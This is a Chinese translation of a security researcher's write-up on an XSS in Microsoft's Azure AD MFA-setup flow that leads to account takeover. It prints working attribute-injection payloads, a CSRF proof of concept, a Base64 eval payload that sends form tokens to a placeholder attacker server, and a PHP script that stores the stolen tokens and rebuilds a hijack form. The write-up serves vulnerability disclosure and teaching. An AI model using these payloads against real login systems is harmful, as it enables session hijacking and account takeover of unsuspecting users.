Microsoft的登录系统以其高度安全和复杂的架构著称,拥有多层保护机制,这使得漏洞分析极具挑战性。在本文中,我将详细介绍如何通过跨站脚本攻击(XSS)发现并利用Microsoft认证流程中的一个完整账户接管漏洞。这一漏洞隐藏在登录流程中,可能允许攻击者完全控制用户账户。
此外,我将拆解Microsoft登录机制的关键组件,以帮助读者理解相关概念。这不仅有助于理解本文内容,也为有志于在Microsoft平台进行漏洞狩猎的读者提供参考。
理解Microsoft的登录机制与Azure Active Directory (Azure AD)
Microsoft的认证流程依赖于Azure Active Directory(Azure AD),这是一个基于云的身份和访问管理服务,广泛应用于Microsoft 365等服务。Azure AD中的一个核心概念是租户(Tenant),它定义了Microsoft生态系统中的组织边界。
Azure AD中的租户是什么?
在Azure AD中,租户是一个专属于特定组织的独立服务实例,可视为一个安全的容器,用于存储用户、组、应用程序和策略。租户的主要特性包括:
-
每个使用Microsoft服务的组织(如Microsoft 365)都会被分配一个租户,与其他租户完全隔离,以确保数据的安全性和完整性。 -
租户绑定到一个唯一域名,例如 {organizationName}.onmicrosoft.com
。 -
每个租户拥有一个唯一的标识符,称为租户ID,以UUID格式表示(如 e1234567-89ab-cdef-0123-456789abcdef
)。
租户类型与登录差异
Microsoft的登录流程根据账户类型有所不同,因为Azure AD支持多种租户类型,每种类型对应特定的使用场景:
-
工作或学校账户(Azure AD租户) -
用于组织管理员工或学生对企业应用的访问。 -
每个Azure AD租户都有一个唯一的租户ID(UUID),用于标识。 -
认证端点: https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize
其中{tenant-id}
必须替换为具体的租户ID,以确保正确的访问控制。 -
个人账户(Microsoft账户租户) -
适用于个人用户访问Outlook.com、Xbox Live或OneDrive等服务。 -
个人账户不与特定租户关联,使用Microsoft的消费者身份服务,因此无需租户UUID,所有个人账户共享一个“全局”命名空间。 -
认证端点: https://login.live.com/oauth20_authorize.srf
,与工作/学校账户的端点不同。
本文重点分析工作或学校账户(类型1),以下将探讨Microsoft如何在这些环境中识别和验证用户。
工作或学校账户的登录机制与租户识别
Azure AD的认证流程与租户识别紧密相关,确保用户在正确的组织边界内进行认证。以下是其工作原理:
-
用户访问登录URL: https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize
, 将{tenant-id}
替换为组织的租户UUID,输入凭据(如邮箱和密码)以启动认证流程。 -
系统通过URL中的 {tenant-id}
识别租户(稍后将介绍另一种识别方式)。 -
Azure AD检查租户特定的策略,如多因素认证(MFA)。 -
认证成功后,Azure AD颁发令牌,验证其有效性,并使用租户UUID确保令牌仅适用于特定租户。
原因分析:租户隔离是Azure AD设计的核心,旨在防止跨组织的数据泄露。然而,如果租户识别机制或相关参数处理存在缺陷,可能导致认证流程被绕过或滥用,这为后续的XSS漏洞埋下隐患。
漏洞发现与利用过程
对于工作或学校账户,用户无法自行创建账户,账户由组织(如公司、学校)分配。用户收到凭据后需完成初始设置,包括配置多因素认证(MFA),才能获得访问权限。
在研究Microsoft的文档和登录流程后,我采取了系统化的测试策略,从基础开始。我使用一个新账户,配置最少的安全保护,仅保留密码作为唯一认证方式,并尝试绕过任何额外保护,仔细观察每个细节。
尽管MFA是强制性的,我在初始设置后进入安全设置,移除了所有额外保护,仅保留密码认证。然后,我使用另一浏览器尝试登录,系统会进行多次重定向,并强制要求设置双因素认证(2FA),如“认证器应用”。
关键发现:遗留域名的重定向
在重定向过程中,我注意到一个与Azure AD相关的遗留域名:account.activedirectory.windowsazure.com
。此域名主要用于配置MFA设置、管理安全密钥以及更新认证方式(如电话号码或认证器应用)。
在这一重定向中,系统向 /proofup.aspx
端点发送了一个POST请求,包含以下三个关键参数:
-
flowtoken:表示当前认证流程状态的令牌,确保用户无法跳过中间步骤直接进入后续步骤。 -
request:在认证端点间传递,保留原始请求的上下文(如范围、重定向URI、应用ID),用于Azure AD在触发额外检查(如MFA)时验证请求。 -
canary:用于防止重放攻击或篡改的安全令牌,类似于CSRF保护的一部分。 -
pru:验证MFA的应用程序。
技术说明:这些参数由应用程序在登录后生成。对于仅使用密码认证的账户,系统通常会重定向到此域名以强制设置MFA。
原因分析:account.activedirectory.windowsazure.com
作为一个遗留域名,可能未完全与现代Azure AD认证流程同步。其参数处理逻辑可能存在漏洞,尤其是当输入未经过充分验证时,可能导致参数注入或反射。
自动提交表单与XSS漏洞
/proofup.aspx
端点的响应包含一个自动提交的表单,重定向到 /securityinfo
端点,并携带两个主要参数:
-
PostRedirectArguments:包含请求中的所有参数(如 flowtoken
、request
等)。 -
PESTS:由服务器根据请求参数(如 flowtoken
、request
等)生成的状态令牌,用于跟踪用户会话和上下文。重要:如果请求参数属于用户A,则生成的PESTS令牌也属于用户A。
技术说明:PESTS令牌是认证流程的核心,/securityinfo
端点依赖它来识别MFA系统中的用户。任何对PESTS令牌的滥用都可能导致严重的身份验证问题。
我注意到自动提交表单的 action
属性包含多个未定义参数。我尝试将这些参数作为GET或POST参数传递,但未发现反射。随后,我将注意力集中在这一端点上,因为空参数的存在暗示它们可能接受输入。
通过Google、Wayback Machine和Burp Suite历史记录的扩展搜索,我发现类似命名的参数(如 X-client-Ver
和 x-client-SKU
)会被反射到表单的 brkrVer
和 clientSku
参数中。
关键突破:我尝试通过注入单引号('
)逃逸出表单的 action
属性,成功实现了注入。然而,由于编码限制,我无法通过添加闭合标签(>
)破坏整个表单,也无法在自动提交的表单中使用事件处理程序或运行JavaScript。
原因分析:表单的 action
属性未对输入进行充分的清理和编码,导致参数注入成为可能。此外,自动提交表单的设计限制了传统XSS攻击的执行方式,迫使攻击者寻找更复杂的方法来触发脚本。
绕过自动提交限制
由于表单自动提交,我无法直接使用传统的事件处理程序(如 onload
或 onclick
)。我尝试了以下方法:
-
注入新 action
属性:尝试注入action='javascript:alert(1);'
,但被忽略,因为表单优先使用原始action
。 -
使用新的事件处理程序:尝试使用 oncontentvisibilityautostatechange
结合content-visibility:auto
样式,但该方法在某些浏览器(如旧版浏览器或Firefox)中不兼容,限制了攻击范围。
最终,我结合了URL片段和tabindex属性,成功绕过了限制:
-
URL片段:URL中的 #
后部分,用于定位页面中的特定元素(通过id
)。当浏览器加载带有片段的URL时,会尝试聚焦到对应元素(如果该元素可聚焦)。 -
tabindex属性:通过设置 tabindex="1"
,使表单元素可聚焦;通过onfocus
事件处理程序执行JavaScript。
注入的payload如下:
ounter(lineounter(line
'injected='meloz'onfocus='alert(1)'tabindex='1'test='
生成的表单如下:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<form action='<https://served.from.server/endpoint>' injected='meloz'
onfocus='alert(1)' tabindex='1'
test='/theRest/Of/TheEndpoint' method='POST' id='registrationForm'
name='registrationForm' target='_self' >
<input type='submit'>
</form>
攻击者可通过以下URL触发XSS:
ounter(lineounter(line
<https://account.activedirectory.windowsazure.com/proofup.aspx?X-client-Ver=8.0.1'injected='meloz'onfocus='alert(1)'tabindex='1'test='#registrationForm>
原因分析:表单未对注入参数进行严格的输入验证和编码,导致攻击者能够注入可执行的HTML属性(如 onfocus
和 tabindex
)。此外,URL片段的使用暴露了浏览器聚焦机制的潜在滥用风险。
CSRF表单的挑战
为将XSS攻击与CSRF结合,我尝试构建一个托管在攻击者服务器上的CSRF表单:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<html>
<formid="csrfPOC"action="<https://account.activedirectory.windowsazure.com/proofup.aspx?X-client-Ver=8.0.1'injected='meloz'onfocus='alert(1)'tabindex='1'test='#registrationForm>"method="POST">
<inputtype="hidden"name="flowtoken"value="{FLOWTOKEN}" />
<inputtype="hidden"name="pru"value="{PRU}" />
<inputtype="hidden"name="request"value="{REQUEST}" />
<inputtype="hidden"name="canary"value="{CANARY}" />
<inputtype="submit"value="Submit request" />
</form>
<script>
document.forms["csrfPOC"].submit();
</script>
</html>
然而,测试时收到“400 Bad Request”错误。经检查,发现POST请求中的令牌已过期。使用最新的令牌后,攻击成功执行。
原因分析:令牌的短生命周期(约20-30分钟)限制了攻击的可行性。此外,CSRF攻击需要攻击者提前获取有效令牌,这增加了攻击复杂度。
突破:外部注入
在进一步分析Burp Suite历史记录时,我发现关键线索:登录URL中的参数(如 x-client-ver
)会被传递到 /proofup.aspx
端点。如果能在主登录URL中注入XSS payload,无需依赖时间敏感的令牌或CSRF表单。
我将payload注入到 x-client-ver
参数:
ounter(lineounter(line
<https://login.microsoftonline.com/{tenant-id}/oauth2/v2.0/authorize?...&x-client-ver=7.5.1.0'injected='meloz'onfocus='alert(1)'tabindex='1'test='>
这导致重定向到:
ounter(lineounter(line
<https://account.activedirectory.windowsazure.com/proofup.aspx?x-client-Ver=7.5.1.0%27injected%3d%27meloz%27onfocus%3d%27alert(1)%27tabindex%3d%271%27test%3d%27&x-client-SKU=ID_NET8_0&culture=en-US>
然而,由于缺少URL片段(#registrationForm
),XSS未触发。此外,跨源重定向会导致浏览器丢弃URL片段。
我尝试使用 autofocus
属性:
ounter(lineounter(line
'injected='meloz'onfocus='alert(1)'autofocus=''tabindex='1'test='
在Chrome中成功触发,但在Firefox中失败,可能是因为Firefox对自动提交表单的 onfocus
事件有更严格的限制。
原因分析:不同浏览器对HTML属性和事件处理程序的实现差异导致了攻击的不一致性。Firefox的限制暴露了自动提交表单在安全设计上的潜在问题。
最终突破:干扰表单ID
我注意到注入点位于表单的 id
和 name
属性之前。因此,我尝试注入新的 id
和 name
属性,干扰 document.forms["registrationForm"]
的引用:
ounter(lineounter(line
'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='
生成的表单如下:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<form action='<https://served.from.server/path?brkrVer=8.0.1>'
id='melotover' name='melotover' tabindex='1'
onfocus='alert(document.domain)' autofocus=''
test='/theRest/Of/TheEndpoint' method='POST'
id='registrationForm' name='registrationForm' target='_self' >
<input type='submit'>
</form>
这导致 document.forms["registrationForm"]
变为 undefined
,阻止了表单的自动提交,XSS成功在几乎所有浏览器中触发。
最终payload:
ounter(lineounter(line
<https://login.microsoftonline.com/common/oauth2/v2.0/authorize?...&x-client-ver=80.0.1'id='melotover'name='melotover'tabindex='1'onfocus='alert(document.domain)'autofocus=''test='>
通过使用 /common/
替代特定租户ID,攻击可针对任何组织中的任何用户。Azure AD会根据用户邮箱的域名自动识别租户。
原因分析:主登录URL未对查询参数进行充分验证,导致注入的payload被传递到后续端点。/common/
端点的设计允许跨租户访问,进一步放大了攻击范围。
漏洞升级:完整账户接管
发现XSS后,我尝试利用敏感的 PESTS 令牌实现更大影响。PESTS在MFA系统中用于识别用户,滥用它可能导致身份冒充。
我尝试用另一用户(User2)的PESTS令牌替换当前令牌,系统报错。但当我替换所有 /securityinfo
端点的参数(包括 flowtoken
、request
等)为User2的值时,系统重定向到MFA设置页面,允许我以User2的身份添加新的认证方式。
利用流程:
-
用户访问恶意链接,登录后重定向到 /proofup.aspx
,触发XSS。 -
XSS payload收集页面中的所有 <input>
标签(包含敏感令牌),编码后发送到攻击者服务器。 -
服务器解码参数,重建与受害者页面相同的表单,保存为文件。 -
攻击者访问该文件,重定向到受害者账户,可添加新的MFA方式。 -
攻击者注册自己的认证方式,接管账户。
最终payload(Base64编码,注入到 rel
属性):
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
content = btoa(document.forms[0].innerHTML);
f = document.createElement("form");
f.method = "post";
f.action = "https://{YOUR_SERVER}/POC.php?userID=".concat(Date.now());
i = document.createElement('input');
i.name = "data";
i.value = content;
f.appendChild(i);
document.body.appendChild(f);
f.submit();
注入方式:
ounter(lineounter(line
'id='melotover'name='melotover'rel='[Base64编码的payload]'tabindex='1'autofocus=''onfocus='eval(atob(this.rel));//
服务器端脚本:
ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line
<?php
if(isset($_GET['userID']) && !empty($_GET['userID']) && ctype_digit($_GET['userID'])) {
$filename = "user_" . $_GET['userID'];
} else {
die("Error");
}
if($_SERVER['REQUEST_METHOD'] === "POST") {
$data = file_get_contents("php://input");
!empty($data) && file_put_contents($filename, $data);
echo "good luck!";
} else {
$fileContent = file_get_contents($filename);
if(preg_match('/data=([A-Za-z0-9+\\/=]+)/', $fileContent, $matches)) {
$decodedValue = base64_decode($matches[1]);
echo "
<!DOCTYPE html>
<html lang='en'>
<head>
<meta charset='UTF-8'>
<title>Dashboard</title>
</head>
<body>
<div style='text-align:center'>
<form id='hijack'
action='<https://account.activedirectory.windowsazure.com/securityinfo?.>..'
method='POST'>
" . $decodedValue . "
</form>
<button onclick='document.forms.hijack.submit();' type='submit'>Hijack!</button>
</div>
</body>
</html>";
}
}
?>
原因分析:/securityinfo
端点未对参数来源进行充分验证,允许攻击者通过伪造参数冒充其他用户。PESTS令牌的敏感性使其成为攻击的关键目标。
进一步扩展:应用范围攻击
在提交报告后,我尝试将攻击扩展到所有用户,包括启用了2FA的用户。我发现,当向 /proofup.aspx
发送有效请求时,应用程序会缓存响应,并通过设置包含PESTS令牌的cookie存储长达80分钟。
即使后续发送简单的GET请求到 /proofup.aspx
,系统仍返回缓存的响应。这意味着,如果初始请求包含XSS payload,后续请求(无论GET或POST)都会触发XSS。
通用攻击流程:
-
攻击者通过CSRF攻击发送包含XSS payload的有效表单,触发 /proofup.aspx
。 -
应用程序处理请求,响应包含PESTS令牌,执行XSS,并缓存响应。 -
受害者(即使启用2FA)被诱导访问 /proofup.aspx
,触发缓存的XSS。 -
XSS在受害者的认证会话中执行,收集并发送敏感参数。
为解决重定向问题,我在XSS payload中添加了重定向到登录页面的代码。第一次执行时用户未登录,第二次执行时用户已登录,从而绕过了循环问题。
原因分析:响应缓存机制未考虑XSS payload的持久性,导致攻击范围从单一用户扩展到应用范围。Cookie的有效期进一步放大了漏洞的影响。
====本文结束====
以上内容由漏洞集萃翻译整理。
参考:
https://melotover.medium.com/escalating-impact-full-account-takeover-in-microsoft-via-xss-in-login-flow-f160fa79b008
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论